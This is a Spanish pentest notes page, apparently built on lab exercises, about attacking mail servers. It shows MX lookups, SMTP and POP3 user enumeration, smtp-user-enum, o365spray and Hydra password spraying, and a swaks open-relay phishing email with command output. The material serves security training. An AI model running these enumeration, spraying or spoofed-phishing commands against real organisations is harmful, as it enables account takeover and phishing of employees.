🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Enumeration
  • Host - MX Records
  • DIG - MX Records
  • Host - A Records
  • Misconfigurations
  • Authentication
  • Cloud Enumeration
  • 0365 Spray
  • Password Attacks
  • Hydra - Password Attack
  • 0365 Spray - Password Spraying
  • Open Relay

¿Te fue útil?

Exportar como PDF

Attacking Email Services

AnteriorPostgreSQL Port (5432, 5433)SiguientePivoting, Tunneling and Port Forwarding

Última actualización hace 2 meses

¿Te fue útil?

Un servidor de correo (también llamado servidor de email) es un servidor que gestiona y entrega correos electrónicos a través de una red, normalmente por Internet. Un servidor de correo puede recibir correos desde un dispositivo cliente y enviarlos a otros servidores de correo, así como también entregar correos a los clientes. Un cliente es normalmente el dispositivo desde el cual leemos nuestros correos (como computadoras, móviles, etc.).

Cuando presionamos el botón de Enviar en nuestra aplicación de correo (cliente de correo), el programa establece una conexión con un servidor SMTP en la red o en Internet. SMTP (Simple Mail Transfer Protocol) es el protocolo utilizado para enviar correos desde los clientes a los servidores y entre servidores.

Cuando descargamos correos en nuestra aplicación, esta se conecta a un servidor POP3 o IMAP4, el cual permite al usuario guardar mensajes en el buzón del servidor y descargarlos periódicamente.

Por defecto, los clientes POP3 eliminan los mensajes descargados del servidor. Este comportamiento dificulta el acceso al correo desde varios dispositivos, ya que los mensajes quedan almacenados localmente. Sin embargo, normalmente podemos configurar el cliente POP3 para que mantenga copias en el servidor.

Por otro lado, los clientes IMAP4 no eliminan los mensajes del servidor por defecto, lo que permite acceder fácilmente a los correos desde múltiples dispositivos.

Veamos cómo podemos atacar servidores de correo.


Enumeration

Los servidores de correo son complejos y normalmente requieren que enumeremos varios servidores, puertos y servicios. Además, hoy en día la mayoría de las empresas tienen sus servicios de correo en la nube, como Microsoft 365 o G-Suite. Por lo tanto, nuestra forma de atacar el servicio de correo dependerá del tipo de servicio que estén utilizando.

Podemos usar el registro DNS MX (Mail eXchanger) para identificar el servidor de correo. Este registro especifica el servidor responsable de aceptar mensajes de correo en nombre de un dominio. Es posible configurar varios registros MX, normalmente apuntando a un conjunto de servidores de correo para balanceo de carga y redundancia.

Podemos utilizar herramientas como host o dig, o sitios web como MXToolbox para consultar información sobre los registros MX.


Host - MX Records

gzzcoo@htb[/htb]$ host -t MX hackthebox.eu

hackthebox.eu mail is handled by 1 aspmx.l.google.com.
gzzcoo@htb[/htb]$ host -t MX microsoft.com

microsoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.

DIG - MX Records

gzzcoo@htb[/htb]$ dig mx plaintext.do | grep "MX" | grep -v ";"

plaintext.do.           7076    IN      MX      50 mx3.zoho.com.
plaintext.do.           7076    IN      MX      10 mx.zoho.com.
plaintext.do.           7076    IN      MX      20 mx2.zoho.com.
gzzcoo@htb[/htb]$ dig mx inlanefreight.com | grep "MX" | grep -v ";"

inlanefreight.com.      300     IN      MX      10 mail1.inlanefreight.com.

Host - A Records

gzzcoo@htb[/htb]$ host -t A mail1.inlanefreight.htb.

mail1.inlanefreight.htb has address 10.129.14.128

stos registros MX indican que los tres primeros servicios de correo están utilizando servicios en la nube como G-Suite (aspmx.l.google.com), Microsoft 365 (microsoft-com.mail.protection.outlook.com) y Zoho (mx.zoho.com), mientras que el último probablemente sea un servidor de correo personalizado alojado por la empresa.

Esta información es importante porque los métodos de enumeración pueden variar según el servicio. Por ejemplo, la mayoría de los proveedores en la nube utilizan su propia implementación del servidor de correo y adoptan autenticación moderna, lo cual abre vectores de ataque únicos y específicos para cada proveedor. En cambio, si la empresa ha configurado su propio servicio, podríamos encontrar malas prácticas y configuraciones inseguras que permitan ataques comunes a protocolos de servidores de correo.

Si estamos apuntando a un servidor de correo personalizado como inlanefreight.htb, podemos enumerar los siguientes puertos:

Port
Service

TCP/25

SMTP Unencrypted

TCP/143

IMAP4 Unencrypted

TCP/110

POP3 Unencrypted

TCP/465

SMTP Encrypted

TCP/587

TCP/993

IMAP4 Encrypted

TCP/995

POP3 Encrypted

Podemos usar Nmap con la opción -sC (scripts por defecto) para enumerar estos puertos en el sistema objetivo:

gzzcoo@htb[/htb]$ sudo nmap -Pn -sVC -p25,143,110,465,587,993,995 10.129.14.128

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00025s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
MAC Address: 00:00:00:00:00:00 (VMware)

Misconfigurations

Los servicios de correo utilizan autenticación para permitir a los usuarios enviar y recibir correos electrónicos. Una mala configuración puede darse cuando el servicio SMTP permite autenticación anónima o soporta comandos que pueden ser usados para enumerar nombres de usuario válidos.


Authentication

El servidor SMTP dispone de distintos comandos que se pueden aprovechar para enumerar usuarios válidos: VRFY, EXPN y RCPT TO. Si logramos enumerar usuarios válidos, podemos intentar realizar ataques de password spraying, fuerza bruta o incluso adivinar una contraseña válida. Veamos cómo funcionan estos comandos:

VRFY: este comando le indica al servidor SMTP que verifique si existe un nombre de usuario o dirección de correo específica. El servidor responderá indicando si el usuario existe o no. Esta funcionalidad suele estar desactivada por seguridad.

VRFY Command

gzzcoo@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)


VRFY root

252 2.0.0 root


VRFY www-data

252 2.0.0 www-data


VRFY new-user

550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table

EXPN Command

EXPN es similar a VRFY, con la diferencia de que cuando se usa con una lista de distribución, devuelve todos los usuarios incluidos en dicha lista. Esto puede ser más problemático que el comando VRFY, ya que muchas veces existen alias como “all” que agrupan a muchos usuarios.

gzzcoo@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)

EXPN john

250 2.1.0 john@inlanefreight.htb

EXPN support-team

250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb

Como vemos, el comando EXPN devuelve direcciones de usuarios individuales que forman parte de la lista de distribución. Esto amplía nuestra superficie de ataque.

RCPT TO Command

RCPT TO identifica al destinatario de un mensaje de correo. Este comando se puede repetir varias veces para enviar un solo mensaje a múltiples destinatarios.

gzzcoo@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)

MAIL FROM:test@htb.com
250 2.1.0 test@htb.com... Sender ok

RCPT TO:julio
550 5.1.1 julio... User unknown

RCPT TO:kate
550 5.1.1 kate... User unknown

RCPT TO:john
250 2.1.5 john... Recipient ok

Como vemos, este comando también nos permite validar si un usuario existe en el sistema en función de la respuesta del servidor. Esto se puede usar para enumerar usuarios válidos antes de lanzar ataques como password spraying o fuerza bruta.

USER Command

También podemos usar el protocolo POP3 para enumerar usuarios, dependiendo de cómo esté implementado el servicio. Por ejemplo, podemos usar el comando USER seguido del nombre de usuario, y si el servidor responde con +OK, eso significa que el usuario existe en el servidor.

Este comportamiento se puede aprovechar para enumerar cuentas válidas antes de intentar ataques de autenticación como fuerza bruta o password spraying.

gzzcoo@htb[/htb]$ telnet 10.10.110.20 110

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready

USER julio
-ERR

USER john
+OK

En el siguiente ejemplo, estamos usando:

  • -M RCPT: especifica el modo de enumeración.

  • -U userlist.txt: lista de nombres de usuario a probar.

  • -D inlanefreight.htb: dominio que se añadirá a cada usuario.

  • -t 10.129.203.7: IP del servidor SMTP objetivo.

gzzcoo@htb[/htb]$ smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... userlist.txt
Target count ............. 1
Username count ........... 78
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb

######## Scan started at Thu Apr 21 06:53:07 2022 #########
10.129.203.7: jose@inlanefreight.htb exists  
10.129.203.7: pedro@inlanefreight.htb exists  
10.129.203.7: kate@inlanefreight.htb exists  
######## Scan completed at Thu Apr 21 06:53:18 2022 #########
3 results.

78 queries in 11 seconds (7.1 queries / sec)

Cloud Enumeration

Como vimos antes, los proveedores de servicios en la nube como Microsoft implementan sus propios sistemas de correo. En el caso de Office 365, podemos abusar de funciones específicas como la enumeración de usuarios.

0365 Spray

Identify domain
gzzcoo@htb[/htb]$ python3 o365spray.py --validate --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > validate       :  True
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:46:40

>----------------------------------------<

[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz  
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
Validate users
gzzcoo@htb[/htb]$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz        

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > enum           :  True
   > userfile       :  users.txt
   > enum_module    :  office
   > rate           :  10 threads
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:48:03

>----------------------------------------<

[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz

[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'

[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2

Password Attacks

Hydra - Password Attack

Podemos usar Hydra para realizar ataques de fuerza bruta o password spraying contra servicios de correo como SMTP, POP3 o IMAP4. Solo necesitamos un listado de usuarios (-L) y una contraseña o lista de contraseñas (-p o -P), además de indicar el servicio.

gzzcoo@htb[/htb]$ hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197   login: john   password: Company01!
1 of 1 target successfully completed, 1 valid password found

0365 Spray - Password Spraying

Si los servicios en la nube permiten el uso de los protocolos SMTP, POP3 o IMAP4, podríamos intentar realizar ataques de password spraying usando herramientas como Hydra, pero normalmente estos intentos son bloqueados por medidas de seguridad del proveedor.

En lugar de eso, es preferible usar herramientas especializadas como:

  • o365spray o MailSniper → para Microsoft Office 365

  • CredKing → para Gmail u Okta

gzzcoo@htb[/htb]$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > spray          :  True
   > password       :  March2022!
   > userfile       :  usersfound.txt
   > count          :  1 passwords/spray
   > lockout        :  1.0 minutes
   > spray_module   :  oauth2
   > rate           :  10 threads
   > safe           :  10 locked accounts
   > timeout        :  25 seconds
   > start          :  2022-04-14 12:26:31

>----------------------------------------<

[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO : 

[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'

[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1

Open Relay

Un open relay es un servidor SMTP (Simple Mail Transfer Protocol) mal configurado que permite el reenvío de correos sin autenticación. Los servidores de mensajería que están configurados como open relays, ya sea accidental o intencionalmente, permiten que cualquier fuente envíe correos a través del servidor, enmascarando así el origen real de los mensajes y haciendo parecer que provienen del propio servidor.

Desde la perspectiva de un atacante, esto puede ser aprovechado para realizar phishing, enviando correos como si fueran de usuarios inexistentes o suplantando la identidad de otro. Por ejemplo, si detectamos que una empresa tiene un servidor de correo mal configurado como open relay y usa una dirección específica para notificaciones, podemos enviar un correo con esa misma dirección y añadir un enlace malicioso.

Con el script smtp-open-relay de Nmap, podemos identificar si un puerto SMTP permite este tipo de reenvío:

gzzcoo@htb[/htb]# nmap -p25 -Pn --script smtp-open-relay 10.10.11.213

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).

PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)

Después, podemos usar cualquier cliente de correo para conectarnos al servidor y enviar nuestro mensaje:

gzzcoo@htb[/htb]# swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213

=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<-  220 mail.localdomain SMTP Mailer ready
 -> EHLO parrot
<-  250-mail.localdomain
<-  250-SIZE 33554432
<-  250-8BITMIME
<-  250-STARTTLS
<-  250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<-  250 HELP
 -> MAIL FROM:<notifications@inlanefreight.com>
<-  250 OK
 -> RCPT TO:<employees@inlanefreight.com>
<-  250 OK
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Thu, 29 Oct 2020 01:36:06 -0400
 -> To: employees@inlanefreight.com
 -> From: notifications@inlanefreight.com
 -> Subject: Company Notification
 -> Message-Id: <20201029013606.775675@parrot>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
 -> 
 -> 
 -> .
<-  250 OK
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

SMTP Encrypted/

Podemos automatizar el proceso de enumeración de usuarios en servidores SMTP con la herramienta . Esta utilidad permite comprobar si existen direcciones de correo válidas usando comandos como VRFY, EXPN o RCPT.

Una herramienta útil para esto es , que permite validar si un dominio usa Office 365 y luego enumerar usuarios válidos, así como hacer password spraying.

smtp-user-enum
O365spray
STARTTLS